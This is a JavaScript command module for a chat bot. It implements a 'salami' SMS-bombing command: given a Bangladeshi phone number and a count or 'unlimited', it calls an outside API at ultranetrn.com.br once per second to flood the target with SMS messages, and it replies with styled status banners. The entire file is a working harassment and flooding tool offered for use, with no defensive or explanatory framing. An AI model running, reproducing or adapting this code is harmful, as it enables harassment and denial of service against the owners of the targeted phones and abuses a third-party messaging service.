const axios = require("axios");
const bombingFlags = {};
const deltaNext = 5;

function expToLevel(exp) {
  return Math.floor((1 + Math.sqrt(1 + 8 * exp / deltaNext)) / 2);
}

module.exports = {
  config: {
    name: "salami",
    version: "4.0",
    author: "Rahad",
    countDown: 0,
    role: 3,
    shortDescription: { en: "Send SMS bomb" },
    description: { en: "SMS bombing every second (custom count or unlimited) with design" },
    category: "tools",
    guide: {
      en: `Usage:
salami 01xxxxxxxxx [count/unlimited]
Example: salami 017xxxxxxxx 100
Example: salami 017xxxxxxxx unlimited
Example: salami off`
    }
  },

  onStart: async function ({ event, message, args, usersData }) {
    const threadID = event.threadID;
    const senderID = event.senderID;
    const number = args[0];
    const countArg = args[1];

    if (!number) {
      return message.reply(`
╔═══❖•SALAMI•❖═══╗
📌 Usage: salami 01xxxxxxxxx [count/unlimited]
salami off → stop bombing
╚══════════════╝
`);
    }

    const userData = await usersData.get(senderID);
    const exp = userData.exp || 0;
    const level = expToLevel(exp);
    if (level < 2) {
      return message.reply("🚫 You must be at least level 2 to use this command!");
    }

    if (number.toLowerCase() === "off") {
      if (bombingFlags[threadID]) {
        bombingFlags[threadID] = false;
        return message.reply(`
╔═══❖•SALAMI•❖═══╗
✅ SMS bombing stopped.
╚═══Rahad Boss═══╝
`);
      } else {
        return message.reply("❗No active bombing in this thread.");
      }
    }

    if (!/^01[0-9]{9}$/.test(number)) {
      return message.reply("📱 Please provide a valid Bangladeshi number!\n👉 Example: salami 01xxxxxxxxx 100");
    }

    if (bombingFlags[threadID]) {
      return message.reply("❗Bombing already in progress! To stop, type: salami off");
    }

    let maxSMS = Infinity;
    if (countArg && countArg.toLowerCase() !== "unlimited") {
      const parsed = parseInt(countArg);
      if (!isNaN(parsed) && parsed > 0) {
        maxSMS = parsed;
      } else {
        return message.reply("❌ Invalid count! Please provide a number or 'unlimited'.");
      }
    }

    if (maxSMS === Infinity) {
      message.reply(`
╔═══❖•SALAMI•❖═══╗
💥 Target: ${number}
⚡ Mode: Unlimited
⏱ Speed: 1s / SMS
🛑 Stop: salami off
╚═══Rahad Boss═══╝
`);
    } else {
      message.reply(`
╔═══❖•SALAMI•❖═══╗
💥 Target: ${number}
📤 Total: ${maxSMS} SMS
⏱ Speed: 1s / SMS
🛑 Stop: salami off
╚═══Rahad Boss═══╝
`);
    }

    bombingFlags[threadID] = true;
    let count = 0;

    async function sendBomb() {
      if (!bombingFlags[threadID]) return;

      if (count >= maxSMS) {
        bombingFlags[threadID] = false;
        return message.reply(`
╔═══❖•SALAMI•❖═══╗
✅ Sent ${count} SMS to ${number}.
💤 Bombing stopped automatically.
╚═══Rahad Boss═══╝
`);
      }

      try {
        await axios.get(`https://ultranetrn.com.br/fonts/api.php?number=${number}`);
        count++;
        console.log(`SMS ${count}/${maxSMS === Infinity ? "∞" : maxSMS} sent to ${number}`);
      } catch (err) {
        message.reply(`❌ Error: ${err.message}`);
        bombingFlags[threadID] = false;
        return;
      }

      setTimeout(sendBomb, 1000); // প্রতি ১ সেকেন্ডে পাঠাবে
    }

    sendBomb();
  }
};